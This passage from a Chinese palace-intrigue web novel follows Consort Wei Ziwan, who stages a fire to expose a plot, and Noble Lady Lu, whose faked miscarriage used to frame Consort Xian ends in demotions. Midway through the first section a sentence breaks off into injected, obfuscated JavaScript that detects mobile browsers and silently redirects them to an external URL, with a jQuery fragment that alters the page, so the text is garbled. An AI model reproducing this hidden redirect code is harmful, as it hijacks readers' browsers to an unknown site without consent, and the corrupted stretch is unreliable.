宫妃们才后知后觉反应过来。 魏紫菀点头,“是,皇后娘娘。” 娴妃心里叹气,这场火来的太不凑巧了,便是她想换也换不成了,嘉妃和纯妃倒是松了口气,没让娴妃占便宜,也算是好事。 至于那场火会不会烧光她们的住所,烧光了也好,正好让她们住在长春仙馆,经常接触皇太后——皇太后平时喜关上宫门求神拜佛,只有皇后才能偶尔见皇太后一面。 万岁爷是孝子,让皇太后欢喜了,自有她们好处。 没过多久,火灭了,好在只是烧了令妃屋子的大半地方,没有牵连到别处,至于起火原因,就是天干物燥,这天儿虽是冬日,可圆明园冬暖夏凉,反正不知何等缘由,一块地儿起了火,便趁风而起了。 众妃们得知火灭了,便回去‘天地一家春’看看自己东西可有不见。 魏紫菀就直接在长春仙馆一处偏殿住下了。 绿萍朝她点头,“娘娘,都收拾好了。” 娘娘吩咐下去的,她也收拾好首尾了,没让人发现把柄——火是她设计机关弄的,在窗边泼了灯油,被花瓶挡住灯芯垂落,在遇到油的那一刻,这火便在既定的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14472400|152812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时辰燃起来。 正正好,没有一点多余的功夫。 魏紫菀欣赏地看了她一眼,随后沉下脸来,“看来那人远在紫禁城,手倒是伸到本宫这里了。” 经此试探,还有什么不清楚的。 妃位没有一人不对她寝宫蠢蠢欲动的,谁会住进对自己身体有害的地方,再加上她住着的地方原本是高贵妃的,也只有高贵妃留下的人最方便动手,而且她刚来到‘天地一家春’就有了这般处心积虑的算计。 倘若她出事了,这圆明园的每个人都有嫌疑,唯独身处紫禁城的高贵妃没有! 所以就算她打消对高贵妃算计的心思,也逃不过来自高贵妃的算计吗? 从她穿越过来后,她不愿走上原身一样的路,高贵妃还派人去各宫搜查,若非她铤而走险傍上皇上,就算她不主动投靠高贵妃,也会被逼无奈自发自觉做替身的吧。 魏紫菀手指微微发颤,不是害怕,反正谁敢要她孩子命,她要谁的命——连窗棂都熏了东西,这是打定主意不让她保住孩子啊。 她不出一息平复心绪,吩咐下去,“本宫试探过了,心里有了定数,‘天地一家春’不会住进旁人,害着其他人,至于本宫寝宫起火了,起火时没人经过,跟本宫完全无关,也犯不着连累其他人。” 环环相扣,一个都不放过,也不会连累无辜之人。 “本宫也无须住进那里。”不会让高贵妃觉得她发现她的算计了,在她根基未稳之前,在她腹中子嗣还没生下之前,她犯不着得罪高贵妃,只是高贵妃休想安生。 以为她会坐以待毙,那就想差了。 “子衿,李公公,接下来得靠你们上演一场好戏了,总不能浪费皇后娘娘让本宫留在长春仙馆的好时机。” 子衿和李祖德对视一眼,“请主子吩咐!” 谁敢对他们储秀宫主子动手,就是拿他们的命开玩笑,谁动手,就等着他们狠狠报复回去。 60-70 第61章 第61章小产? 皇后忍不住多看了娴妃一眼。 看来娴妃伤好之后长了不少心眼啊。 只是她想不通娴妃当初跟皇上说好不要五公主,这些时日怎么任由五公主过来找她,昨日还将五公主迎进翊坤宫了。 若说娴妃对五公主没有一丝母女情了,那说不过去,但要是有母女情,也不至于这一个月来几乎次次将五公主拦在门外,连婉嫔都心灰意冷没有拦五公主了。 先前好几个月,五公主每次来到翊坤宫不久,婉嫔都将五公主带回去了,不像这个月,婉嫔是真的心灰意冷了,才无动于衷。 皇后思来想去,只得出一个结论,娴妃这做法有点像故意为之,不想养五公主了,但却舍不得五公主,至于舍不得五公主什么,她知道的消息太少了,暂时想不出来。 不过婉嫔肯定知道,一个月前,婉嫔可是特地去了一趟翊坤宫,旧时,婉嫔最常找的只有那些有子的宫妃,在跟随令贵妃后,便只亲近纯妃嘉妃舒嫔,找上娴妃的时日不多。 她对这事印象格外深刻,当时据说婉嫔可是满脸怒气离开翊坤宫的。 “好了,娴妃婉嫔,你们当着这么多姐妹吵起来,眼里还有没有宫规了。” 皇后照惯当个和事佬,接而说起正事,“纯妃,这月该永璋侧福晋进门了,侧福晋是记在玉牒上的福晋,你好好备着。” “是,娘娘。”纯妃含笑道,等儿子娶了侧福晋后出宫开府,往后日子便能真真正正参与朝廷政事,万岁爷不会再将永璋当成小打小闹的稚儿了。 等她真正的儿媳妇进门,她还用理会娴妃侄女,说到底,没有娴妃横插一脚,万岁爷怎会将两位福晋的身份颠倒过来。 宫中妃子哪怕有一丝变化都会被其他人看在眼里记在心里,娴妃自从受伤后,不再是过往的云淡风轻,换句话说,就是眼里憋着野心,纯妃不信永璋嫡福晋是娴妃侄女没有娴妃的插手。 也正是因为这样,纯妃原本打算将永璋嫡福晋当作寻常亲戚处着的想法消失殆尽,现在都竭尽所能疏离娴妃侄女了。 毕竟她不敢苟同娴妃想法,以往娴妃身份是后院第二人时都不见娴妃得宠有子,现在想争宠了,这事太不现实了,要是娴妃有令贵妃那般貌美,或是像她们一样有一个子嗣傍身,还有希望得宠,可现在,娴妃不连累自己人算好了。 娴妃心里还憋着气,看见纯妃这高兴样,心里又不得劲了,即便她不在意自家侄女,但纯妃对侧福晋进门表现得比嫡福晋进门还高兴不摆明是轻贱她,是觉得辉发那拉氏一族不如从前了,还是觉得她好欺负。 “纯妃妹妹,看来这侧福晋比嫡福晋更得你心思了,先前姐姐可没看过你这般高兴模样。” 纯妃立马板正脸,心里越发肯定自己不能亲近娴妃侄女,“娴妃姐姐,这青天白日的,您可不能说胡话啊,会遭雷劈的。” 她笑盈盈说出这话,反倒衬得娴妃无事找事。 娴妃脸色顿沉,连纯妃都能这样说她了,这些年她真是越混越回去了。 纯妃心里冷笑,娴妃说什么不好,非得说她纵容儿子宠妾灭妻,是,她就是看不起娴妃侄女又如何,若是这家女儿是贤惠聪慧的,她不会眼皮子浅到以家世论高低,可有娴妃在前,她着实不信从辉发那拉氏一族的族人脑子没进水。 就算歹竹出好笋,但有娴妃的拖累,娴妃侄女再能耐也没用,她的永璋可是皇子阿哥,将来最少也得是个王爷,便宜娴妃侄女了。 魏紫菀在旁轻轻摇着团扇,她在宫里的人设是只理会孩子和皇上,平时好性子跟姐妹们说说笑笑,看似纯然无害,甚至很好说话,但是,从这么多次请安无一人主动找茬,便知她性子也不似表面看着友善。 她笑眯眯道:“娴妃妹妹大抵是太高兴了,纯妃妹妹便原谅她口无遮拦吧,姐姐差点忘了祝贺娴妃妹妹喜得一女,这般喜事,得意忘形也无碍了,我们都是有过孩子的人,怎会不理解娴妃妹妹。” 纯妃接下话茬,似恍然大悟道:“原来是这样,娴妃姐姐您早说啊,妹妹又不是不能理解,何必说得这么难听。” 两人一人一句,将娴妃彻底敲定了‘口无遮拦、无事生非’的罪名。 娴妃这下是真的百口莫辩了,她还信誓旦旦想将令贵妃拉下水, 但令贵妃只是轻飘飘三言两语便让她说不出话来,她狠狠瞪了眼婉嫔,一定是婉嫔回去说了些什么,不然令贵妃不会是这副模样。 皇后心里更好奇了,娴妃看似长心眼,也没长多少啊,得罪了婉嫔也就算了,还得罪了令贵妃。 其他人也似皇后这般想,打量的视线纷纷落在娴妃身上,娴妃只觉得自己过来请安就是存心给自己找麻烦的,添了满肚子气,还无从说起。 便是想不折手段将令贵妃拉下宠妃位置,她也不会蠢到直接对上令贵妃。 她这会儿反而想着送什么东西平息令贵妃的怒气了,在一切事情都没摆在明面上,有些事情是你知我知就好,要是摆在明面上,她就成了宫里人的笑话。 她脸皮子薄,承受不来这种事。 好不容易熬到告退时,娴妃匆忙离去,魏紫菀扫了她一眼,心道不应该啊,不是信誓旦旦想将她拉下来吗,连跟她对视的勇气都没有,还怎么将她拉下来。 婉嫔是最后一个离开的妃子。 从进屋时就脸色沉沉,离开时脸色更难看了。 她刚离开不久,就忍不住骂道:“娴妃当真无耻!我去求她将五公主留京,她始终不应,还拿这事威胁我背叛娘娘,我不应,她便想办法将五公主拿捏住,我这心疼啊,我养了五公主也有些时日了,我是真心待五公主好的,可是事情怎么变成这样了。” 她情不自禁泪流不止,“她拿捏不了我,便拿捏五公主,她怎么能刨我心肝,我要这嫔位做什么,我即便被五公主伤着心了,我也还是将她当作亲生女儿的啊。” “娘娘!”吉珊脸色微变,压低声音,“咱们还没走远,小心隔墙有耳!” 婉嫔捂着胸口,“唉……你扶着我吧,我刚才看过了,这附近没人,我就是看到娴妃满脸云淡风轻,我心里受不住啊,你说我怎么这么不得劲,旁人都以为我占了天大便宜,可我失了我的女儿。” 吉珊叹气,“娘娘,若是日后有机会,贵妃娘娘必然会帮您的。” 婉嫔摇摇头,“回去吧。”抱养子嗣这种事她不想了,除非是柏氏那样酿下大错之人,不然有子的宫妃,低位者等爬上高位了便不折手段将孩子要回去,即便是宗室女在宫中也有人争,万岁爷嫡亲的女儿就不必说了。 娘娘心胸宽广能原谅她一回,她可不能借着娘娘好说话蹬鼻子上脸了。 不过抱养一回子嗣,她也算过来人,对这方面执念不强了,毕竟经历过的事,还没有好结果,她怎会来第二次。 颖贵人帮着娘娘研究胭脂水粉,而她这些年随娘娘做唐卡也有些经验了,娘娘答应过她,专门为她开一家唐卡作坊,她带着底下妃子制作唐卡,等做好了就挂在店里卖。 店面开在雍和宫附近,有雍和宫在,平时达官贵族来来往往,不愁这些唐卡卖不出去。 不得不说,有了要事干,她心情都比过往好了,储秀宫一片欣欣向荣,似芃芃草木,有些事过去了,她就不念了。 …… 婉嫔主仆刚走,转角处便走出一个宫女,转身回长春宫。 “吉珊,成了吧?”婉嫔站在长长小道中间,这个位置才是谈话时压低声音也瞧不见有人偷听的好方位。 “成了,主子。”吉珊扶着她慢慢走,主仆俩心照不宣的话,便注定了方才的谈话是一次算计。 很粗浅的算计,但有用就行。 越复杂的办法对聪明人越不管用。 长春宫,宫女一五一十将听来的对话如数禀告皇后。 皇后听了脸色微沉,“本宫以为娴妃是清楚自己身份的。” 冬菊嘴角抽搐,委婉道:“娘娘,若是娴妃娘娘明白事理,就不会坦然跟婉嫔娘娘说这些话了。” “也是,娴妃比本宫想的还蠢。”皇后蹙眉,她不将娴妃放在心上,但娴妃过往的身份决定她生下阿哥后,不比高贵妃的子嗣身份低。 高贵妃除了潜邸侧妃的加成,还有大清皇室第一对龙凤胎的祥瑞出身帮她压下了她起初是汉军旗包衣的不妥,而娴妃本身就是满洲旗贵女,生下一个阿哥,她生下的孩子是仅次于永璂和永璇的出身。 皇后不解,“她安安分分多年,继续安分下去不好吗?” 冬菊含蓄道:“人都有变的时候,娘娘,咱们何必管娴妃娘娘为何变了,咱们拦着娴妃娘娘得宠不就行了。” “这事用不着本宫操心。”皇后实在不愿对上娴妃,总有种杀鸡焉用牛刀的感觉,“想办法让高氏得知这事,同为侧妃,该警惕的是高氏才对,本宫何必咸吃萝卜淡操心。” 于是这事兜兜转转被皇后抛到高贵妃处了。 皇后用的手段很直接,在请安时将陆贵人留下来,将这事用几句话直白地告知陆贵人,陆贵人是高贵妃身边心腹,皇后看戏的意思很明显。 果不其然,这下轮到高贵妃皱眉了,“娴妃一天天想的是什么,本宫都不盼着皇上恩宠了,她这个连恩宠都没得到过的,为何这般异想天开。” 人通常只对有威胁的存在抱着警惕心,婉嫔‘告知’皇后,皇后将这事抛给高贵妃,高贵妃只是不解没有生气,可见这事并不值得她们提心吊胆,但膈应总有的。 陆贵人淡淡道:“娘娘,万岁爷这些日子并非没有去过翊坤宫。” “她过往都没有身孕,她还指望一两次能怀上身孕?”高贵妃笑了,“皇后当真无趣,自己无心动手,让本宫当探路的。” 要不是知道魏氏难对付,她暗地里帮娴妃一把未曾不可,但是看着娴妃想着异想天开的事,她心里不快,娴妃真是好运道啊,辉发那拉氏一年不如一年,娴妃走运才成了皇子侧福晋。 她当年还得进府熬一段时日才凭阿玛成为四爷侧福晋,她当初居然还仰视这样的人。 高贵妃神色晦暗不明,“陆氏,本宫给你一个机会,你知道怎么做吧。” 魏氏提拔陈氏,她身边也得有个好掌控的高位了。 陆贵人心里一喜,“是,娘娘。” 婉嫔开了个好头,日后,即便她被娘娘扶持为嫔位,都不怕被娘娘视作威胁了。 陆贵人退下,她身边宫女雪桐出谋划策,“主子,只有千日做贼,哪有千日防贼,咱们只能一不做二不休让娴妃娘娘遭了万岁爷厌弃。” “不急,慢慢来。”陆贵人淡淡道,阿玛在进宫前叮嘱过她,她以民籍身份在宫里立不住脚,最聪明的做法是先找一个人投靠,若能凭借自己容貌让万岁爷倾心就最好了,纯妃能走的路,她也能走。 但有令贵妃在,她不过是三千佳丽中再寻常不过的一人,她便不走争宠这条路了。 她好不容易投靠高贵妃才在咸福宫站稳脚跟,最好是趁年轻时的好身子怀上身孕,“我不能出任何差错。” 陆贵人无意看了眼身后,一个探头探脑的宫女赶紧缩回去,又是林常在的宫女,天天这样,她看着都烦了,但有林常在这对主仆窥探,有些事还真难做成。 陆贵人走进东配殿,吩咐道:“记得将我养身子的药拿过来。” 雪桐点头,不出片刻便离了咸福宫。 陆贵人将门窗都仔细合上,拿出一个布袋,将里面林林总总的中药材都倒出来。 作为一个汉女,意图跟那些旗人妃子争宠,难如登天,但因她的好容貌,让爹平白生了搏一把的心思,美貌无论放在哪里,都是利刃,只是单有美貌没有家世护着,她的存在只会给家族招祸。 所以她进宫是必然,她的出生就是为了进宫做准备的。 会医术是她始终没有告知高贵妃的一件事。 “主子,都在这里了。” 雪桐手中提着的正是一包待煎熬的药材,陆贵人让她守在门外,她将药材包打开,一点一点挑出自己想要的,和先前的中药混在一起。 “雪桐,拿去煎吧,记得先泡半个时辰,再加凉水没过药,在炉火上用小火煎煮,头次煎煮过后倒出一半的药水,再添凉水添至满当,二煎药即可。” 为了防止她忘记,陆贵人再三嘱咐。 “是,主子。”雪桐郑重点头。 一个月后,陆贵人出现在翊坤宫附近,脸上神色急切,到处搜寻,一看就是丢了东西心里发慌。 娴妃前不久给令贵妃送去她珍藏的定窑白釉孩儿枕,此物还是当年她进后院时皇太后所赐,盼着她早日为四爷开枝散叶,论珍贵,她私库里的东西有珍贵过此物的,但论意义,什么都比不过皇太后所赐。 少了这样东西,令贵妃固然不再明面针对她了,但她大出血一次,心里不舒服极了。 眼下还有人告诉她,翊坤宫外陆贵人一直不依不舍在找东西,她一听就满心烦躁,“本宫这里一眼望到底,她要丢了什么东西,快半个时辰都没找到?” 宫女道:“据说是太后娘娘赏给她的发簪。” 皇太后对初次见面的宫妃,若是觉得对方顺眼,或是身上有禅意,便会赏下一些东西。 “皇太后心意,她怎敢丢了。”娴妃总觉得陆贵人是意有所指,仿佛在说她将皇太后赏的东西送 给令贵妃,没大没小。 可这些日子她送去别的东西都不见令贵妃收,只有这样东西她才收下,若是这样还好,她还能向皇太后控诉令贵妃的刻意之举,但当时还有和恪公主在。 和恪公主对那孩童状的瓷器枕头喜欢极了,被令贵妃一起送去寿康宫,这样一来,这样东西便有了去处,并非令贵妃私心折辱她,而是和恪公主喜欢,令贵妃才收下的。 因着这个原因,皇太后对和恪公主更添几分喜爱,对她也没了从前的好脸色。 毕竟她能拿出皇太后所赐,令贵妃是为了女儿才收下来的,收下来以后又转手送给和恪公主,兜兜转转那样东西还是落在了寿康宫,只有她落得满身不是。 唯一庆幸的是,这事过去之后,令贵妃不再针对她了。 她好不容易才忘掉这件事,陆贵人却撞上来,不知是不是刻意为之,“跟本宫出去看看。” 她倒是看看陆贵人能找多久。 娴妃一出来便看到了弯下身子到处搜寻的陆贵人,陆贵人侧脸沾了虚汗,我见犹怜,见娴妃娘娘,立马行礼,“娴妃娘娘安。” “起来吧。”娴妃扫视四周,“陆贵人,本宫不觉得翊坤宫任你找这么久还找不到你丢失的簪子。” 陆贵人叹气,“娘娘不知,此物是皇太后所赐,婢妾视若珍宝,无意间丢失已让婢妾难受了,若是不找回来,婢妾这辈子寝食难安,还望娘娘谅解。” “可你睁大眼睛好好看看,本宫者翊坤宫外,你找了整整半个时辰,你要是找不到,那只能是被别人捡了去,你回去罢。” 翊坤宫和储秀宫就一前一后的位置,娴妃不知陆贵人是怎么想的,但就独独在她翊坤宫附近找,不曾去过储秀宫,是觉得她好欺负? 不管是不是,她一个妃位让一个贵人退下,再轻易不过了。 但她没想到陆贵人满脸毅然,“娴妃娘娘能轻易舍下皇太后恩赐,婢妾做不到。” “你说什么?”娴妃这下能肯定陆贵人是存心找茬了。 陆贵人一双眸子澄净明亮,“娴妃娘娘这是要对婢妾发怒?还请娘娘等婢妾找到簪子后,婢妾随您处置。” 再三被一个贵人折辱,即便娴妃再好的脾气,这下也忍不了了,“你说随本宫处置,那好,本宫还真不客气了。” “娘娘!”画屏不过刚哄睡五公主迟来一步,就看到娘娘扬起巴掌,她都快吓晕了,娘娘怎么敢这么做。 娘娘先前刚被瑞常在砸过脑袋,自己都是过来人,怎么能打陆贵人,让万岁爷得知了那还得了。 可惜她说话不管用,娴妃一巴掌已经重重甩下了,陆贵人白皙脸颊顿时绯红一片,身子踉跄跌落。 娴妃底气十足,她回头就将这事告知皇后娘娘,陆贵人无缘无故挑衅,放在谁身上都容忍不了。 可陆贵人跌落在地上时,身上缓缓晕开一层血迹,面色惨白,嘴唇发虚,好似下一刻就要晕过去,“贵人,贵人您怎么了?”雪桐要哭出来了,一双眸子死死地盯着娴妃,“娴妃娘娘,要是贵人真有事,奴才豁出脑袋不要,也要向皇后娘娘讨个公道。 “娘娘、娘娘,这这是?”画屏恨不得晕过去了,陆贵人这是有孕了,还被她主子一巴掌扇小产了? 她何德何能遇到这样的主子啊,她一分福气没享过,反而次次被主子吓得提心吊胆,“还不快去叫太医过来,快去啊,还用我吩咐!” 画屏赶紧吆喝那些傻眼的奴才,奴才们被她一推,立马反应过来,“奴才这就去。” 娴妃还站在原地不可置信,看了眼自己打人的那只手,又看了看满身血迹,最终晕过去的陆贵人,连连后退几步,“不、不是本宫做的,本宫没有——” 画屏竭尽所能安抚场面,命人将陆贵人小心搬到翊坤宫东配殿的床上,眼下她顾不得安抚自己主子,既担心陆贵人,又担心熟睡的五公主吵醒后跑过来看到这一幕被吓着。 在看到太医匆匆过来后,画屏才勉强喘过气来,看在还在发愣的主子,她说不出任何话了,自始至终,她这位好主子不曾发过话,若说从前还有潜邸时相伴过来的主仆情在舍不得离开,这次她真得为自己打算了。 好在翊坤宫还有一位主子,她得想个办法让娴妃娘娘心甘情愿将她派到五公主身边伺候,从今往后,她就专心伺候五公主,即便娴妃娘娘有再大的造化,她也不敢贪图了。 她宁可随五公主抚蒙,有她照顾五公主长大的情分在,五公主不会苛待她! 各宫主位得知翊坤宫发生的事,一个个都变了脸色,往翊坤宫赶去。 第62章 第62章翻车了 皇后率先抵达,“发生何事了?” 雪桐哭道:“皇后娘娘,您可得为陆贵人做主,方才陆贵人在寻不小心丢失的簪子,那是皇太后所赐,陆贵人视若珍宝,可娴妃娘娘因陆贵人在这附近找寻得久了些,便恼羞成怒一巴掌将陆贵人扇倒在地,陆贵人流了好多好多的血。娴妃娘娘怎能这般不讲理,求皇后娘娘做主!” “你胡说!”娴妃不知怎么为自己辩解,这宫女满口胡话,分明是陆贵人挑衅她,她才不知所措打了她一巴掌,是她主动要求被打的,关她何事,即便出事了也该跟她无关! 雪桐泪痕清晰可见,对上娴妃时,不哭了,“好啊,若是这世间不讲公道,任由娴妃娘娘这般的高位欺侮低位,奴才敢拿性命来拼一次公道,奴才主子虽位卑,可主子是万岁爷宫妃,怎能任您欺辱。” 娴妃张了张嘴,无话可说,她方才确确实实将陆贵人扇倒在地,所有人的看到了,她无从辩解。 这时她才后知后觉,没人能护住她。 皇帝过来时,太医诊断出陆贵人脉象不对劲,似是小产过后的脉象,又似“往来流利,如珠走盘”的女子来月事时的脉象,他心里拿不准,便压低声音问了一句,“陆贵人最近可来癸水了?” 雪桐摇头,“陆贵人这两月都未来月信,这点咸福宫的奴才都能作证。” 太医总怕无端惹事,便让几个同僚上前一并诊脉。 几人神色都不大对劲,仔仔细细商量过后,知道自己很可能被牵连进一场算计中了,这时说什么都不对,还不如老老实实将这话告知万岁爷。 “万岁爷,陆贵人这脉象似妇人失了孩子又似寻常女子癸水来时,臣拿捏不定。” 乾隆脸色阴晴不定,在娴妃猛然松了口气时,一脚往她腿上踹,“啊——”娴妃面目扭曲,疼的受不住了,跌倒在地。 “也、也流血了。” 画屏惊得连连后退,随后反应过来,“还不快将主子扶起来。” 于是翊坤宫又一阵兵荒马乱,娴妃被小心扶到床上,太医一经诊脉,脸色微变,赶紧使出各种手段调整她脉象,最终才勉强安抚住她身子。 “万岁爷,娴妃娘娘遇喜了,孩子保住了。” 乾隆闭了闭眼,这都是什么事,娴妃将陆贵人扇倒,陆贵人身下见血,不知是月事还是小产,而他气极之下一脚踢了娴妃,却实实在在踢出问题,险些要了自己孩子的命。 皇后在旁也是听得心惊胆跳,但在得知娴妃有孕时,脸色变了一瞬。 魏紫菀看了一出好戏,嘴唇抿紧,心情算不上好,原以为敲打娴妃,让她别生出拉她下水的想法,结果这一次次的算计让她叹为观止,不管陆氏是真孕还是假孕,在娴妃扇倒她时,完全可视作真孕了。 因为‘孩子’没了,死无对证。 但是情况在皇上踢倒娴妃时急转直下,娴妃有孕了,孩子还差点被皇上弄没,这是实打实的身孕,皇帝必然在意。 所以娴妃好运,不必被皇上迁怒了。 魏紫菀尽可能站在众妃身后,这个方位,最容易观察她们的举动。 面色是最容易伪装的,因为宫妃们对上帝后,怎会不时时刻刻绷紧自己脸色,所以面对面的观察没必要,她看的是她们手上的动作。 皇后必然是 知道有人算计娴妃的,毕竟这事是她‘告知’皇后的,只有皇后有动机算计娴妃,但是皇后冷静极了,反而是高贵妃手上不停搅着帕子,这是贵妃紧张时的小动作。 原身在做高贵妃替身时,将高贵妃所有神态、举止都铭记在心,若说这世间最了解高贵妃的人,除了高贵妃本人,就是原身了。 她成了原身,高贵妃的所有痕迹都在她眼里展露无遗。 所以陆贵人是高贵妃特地派来算计娴妃的,但是从刚才陆贵人诊断出‘身孕’时的情况来看,高贵妃眼中诧异并非是假,这代表陆贵人本身藏着一些手段或是些‘秘密’。 一趟浑水,得亏她提早抽身了,魏紫菀心里庆幸极了,即便是跟娴妃的任何接触,她都有理有据。 皇帝险些害了娴妃孩子的事不会怨到自己头上,况且陆贵人这胎身孕着实奇怪,在没发生娴妃有孕之事前,一切都还是小打小闹,可发生之后,皇上必然从头开始仔仔细细地调查。 谁都脱身不了,谁也担不起戏弄皇上的下场。 魏紫菀仔细回想自己跟娴妃的接触,除了那个定窑白釉孩儿枕外,没别的了。 她很坦然,也有点点心虚。 “都坐下吧。”皇后心口堵得慌,别人能想到的她都想到了,陆贵人自作聪明,真以为旁人看不出来?现在只盼万岁爷看在陆贵人受伤的前提下,不追究陆贵人是真孕还是假孕了。 毕竟这事一看就不对劲,光是陆贵人心腹雪桐说的那些话不管用,等皇上冷静下来后,再问翊坤宫奴才,便得出另一个结论,便是陆贵人存心挑衅。 魏紫菀依言坐下。 乾隆坐在宝座上,眸色沉沉,“来人,将她押下去,仔仔细细地问。” 雪桐还没看出皇上指的是谁,眨眼李玉便带着两个太监将她带下去了,她挣扎喊道:“万岁爷,奴才是无辜的,这事与奴才无关。” 去了慎刑司,什么事都得被他们逼问出来,她得掉一层皮,雪桐终于慌了。 当时在场的翊坤宫奴才也都押下去了,想知道事情来龙去脉,严刑拷打也是个办法,还是最管用的办法。 东配院,陆贵人听到正殿动静,仍是紧闭双眼不醒。 她的脉象她自己清楚,并非有孕,而是用药将两个月的月事都积攒在一起了,所以才呈现像是有子又像是来月事的脉象,一旦她‘小产’,这事就更无从查起了。 她相信宫中太医知道明哲保身的道理,会帮她的。 可刚才,她是不是听到雪桐的声音了。 不知为何,陆贵人心中总有一种不安感,仿佛有些事情超脱她掌控了。 …… 魏紫菀在屋里等了好些时候,都有些疲累了。 皇后去后殿看娴妃了,其他妃子也跟着去了。 魏紫菀不动,她打定主意要跟娴妃撇开关系,她望着万岁爷,惴惴不安,“万岁爷,妾身不该要走娴妃妹妹的定窑白釉孩儿枕的。” “你要了又何妨,那是她主动给你的,又不是你从她手中抢来的。” 乾隆想到她今日见了血,不免担忧,“紫菀,朕看你乏了,不若回去歇着了。” 魏紫菀点头,“还望万岁爷注重龙体。” 她回去后才重重吐出一口气,“人才啊,陆贵人到底是怎么想的?” 她都不敢做出这种事,古人远比现代人想象的更勇敢,之后她要闭门不出了。 依稀记得,陆贵人在封庆妃不久,原身刚封令贵妃,生下十五阿哥永琰,但孩子满月后就抱到庆妃身边,让庆妃代为抚养。 陆贵人一生没有育有儿女,却凭借美貌在宫里步步立足,手段、心计堪比一流功夫,若非这次出了娴妃有孕的意外,凭借陆贵人的胆大,一个嫔位少不了,还能彻底得主位看重—— 陆贵人都能拿自己孩子搏忠心了,便是将身家性命都给了高贵妃,连自己后半生倚靠的孩子都不要了。 高贵妃别的不好说,但是对‘自己人’还是挺大方的,前世都能扶持原身步步高升,要是看重陆贵人,陆贵人将来最少也得是个妃位。 但是这回怕是不成了,终日打雁,叫雁啄了眼。 魏紫菀是真的不可怜流了一滩血的陆贵人,即便在猜她怀有身孕时。 因为她清清楚楚记得,原身孩子被抱走给庆妃那一刻的无助惶恐,可她无处说起,皇上是因为她是高贵妃影子才宠爱她,庆妃是靠自己本事得到万岁爷宠爱,在万岁爷心中,庆妃比她重要太多太多了。 所以,孩子刚生下就被抱走的痛苦只能原身一个人苦苦咽下,甚至原身在一次次想要见自己孩子时,都被庆妃拒绝,不是说孩子刚睡着,便是她乏了。 魏紫菀记得原身的苦痛,可哀痛不止于此,她知道的更多,史书上记载,十五阿哥永琰为帝后将庆妃追封为皇贵妃时,说养母在他心中地位不亚于生母,并且不曾追封原身生下来的和硕和恪公主。 这是大清帝王同母姐妹的待遇。 头一次居然有皇子成为皇帝后,不追封自己的同母姐妹为固伦公主,原身的另一个女儿固伦和静公主是固伦公主,那是因为乾隆帝册封的。 在永琰心中,估计没有原身这个生母了,原身被追封皇后还是乾隆帝所为。 可以说,原身的一切荣誉都归于乾隆帝,跟她这个儿子没多大关系。 原身谁都不敢怨,这一世什么事都没发生,她也谈不上报复。 况且说恨,皇上也是罪魁祸首。 她这辈子却是依附皇帝活下来的,她不能给脸不要脸,所以无从说恨,她顶多是看到陆贵人的惨状时,心里谈不上一丝怜悯。 况且陆贵人的惨状并非她造成的,她对谁都能怜悯,在宫里就别活了。 颖贵人不在意这个,只关心娘娘被那一滩血给吓着,“娘娘,婢妾给您煮了白芷茯苓茶,安神之用,您喝了就睡一觉,婢妾守在您身边。” “本宫很好。”魏紫菀喝了两口颖贵人捧过来的茶,就不再碰了,“你不必担心,婉嫔去哪了?” “婉嫔姐姐昨晚挑灯看唐卡,吉珊怎么说她都不听,娘娘您看啊,今天她不就起不来了。” 颖贵人摇摇头,满眼笑意,“婉嫔姐姐也真是的,就仗着娘娘的纵容就肆意行事。” “颖妹妹怎么说我坏话,娘娘您看,颖妹妹这张嘴,得塞点蜜饯粘上她的嘴!妾身才好安安心心地入睡。” 都说不可背地里说人坏话,让人当面听到了,那真是羞人脸。 颖贵人不怯反笑,“婉姐姐真是的,想拿蜜饯收买婢妾,婢妾还能怎么办,只能吃了一回,下回就不告知娘娘了。” 婉嫔坐在颖贵人对面,模样精神,眼圈浓重,魏紫菀以自己熟练的经验判断,这人当了一晚上的夜猫子。 婉嫔并非正常时辰醒来的,是被吉珊摇醒的,醒来后得知这些事便赶紧过来了。 魏紫菀只管让她们放心,“本宫不曾接近娴妃,替本宫办事的,本宫会护住她。” 连自己人都护不住,那还叫什么主位。 “是,娘娘。”婉嫔安心了,她信娘娘。 …… 慎刑司审讯结果出来了。 起初这些事是陆贵人自导自演,喝了药让自己身子月事一直延后,只等今日算计娴妃。 至于为何算计娴妃,这就跟高贵妃有关了,雪桐只知道那日高贵 妃让主子将娴妃拉下水。 高贵妃这么做的目的却不清楚——当初皇后将陆贵人留下来时,没让雪桐留下来,陆贵人是个嘴严的,自然不会跟一个奴才说起皇后。 因此帝王将一切供词摔在高贵妃面前时,高贵妃脸色惨白,不顾脸面跪下来,“万岁爷,妾身不知陆贵人擅作主张,妾身真的不知。” 高贵妃很清楚皇上性情,爱之欲生恨之欲死,她有罪时还拉下万岁爷眼中‘清白’的皇后,她只会让万岁爷更生气。 可是她是真的不知道陆贵人还藏着这一手,要是知道她胆子这么大,居然敢用假孕欺君,她先解决了陆氏! 乾隆无动于衷,高氏就因为娴妃起了心思才想着要教训娴妃? 娴妃起的心思好似跟高氏无关吧,所以高氏这是忌惮起娴妃会怀上孩子? 朕还没死!轮不到高氏为自己孩子打算。 “朕记得永璇也到年纪了,明日就搬去阿哥所吧,和恪和静养在皇额娘和裕贵太妃身边,谦太妃膝下寂寞,将和嘉抱过去吧。” “是。”李玉这就派人将和嘉公主带去寿康宫。 高贵妃脸色发虚,却也万般庆幸,皇上只是将两个孩子带走,没有怪罪两个孩子。 乾隆不愿再听贵妃辩解了。 “即日起,高贵妃贬做慧妃,娴妃禁足一年,陆贵人贬做答应,终生禁足。” 一句终生禁足已经是将陆答应打进冷宫的做法了,可惜皇帝还不想圆明园今后成了罪妃所在之地,不想一进圆明园便想起怡嫔姐妹俩和瑞常在,还是将陆氏留在咸福宫吧。 皇帝对咸福宫已经彻底没了踏足的欲望。 “万岁爷……”慧妃跪着,心中恨极了陆氏,她从不知她有这样的本事,好极了,既然手段通天,往后就将这些手段都使到自己身上吧。 她闭了闭眼,知道自己无处辩解了,“妾身遵命!” …… 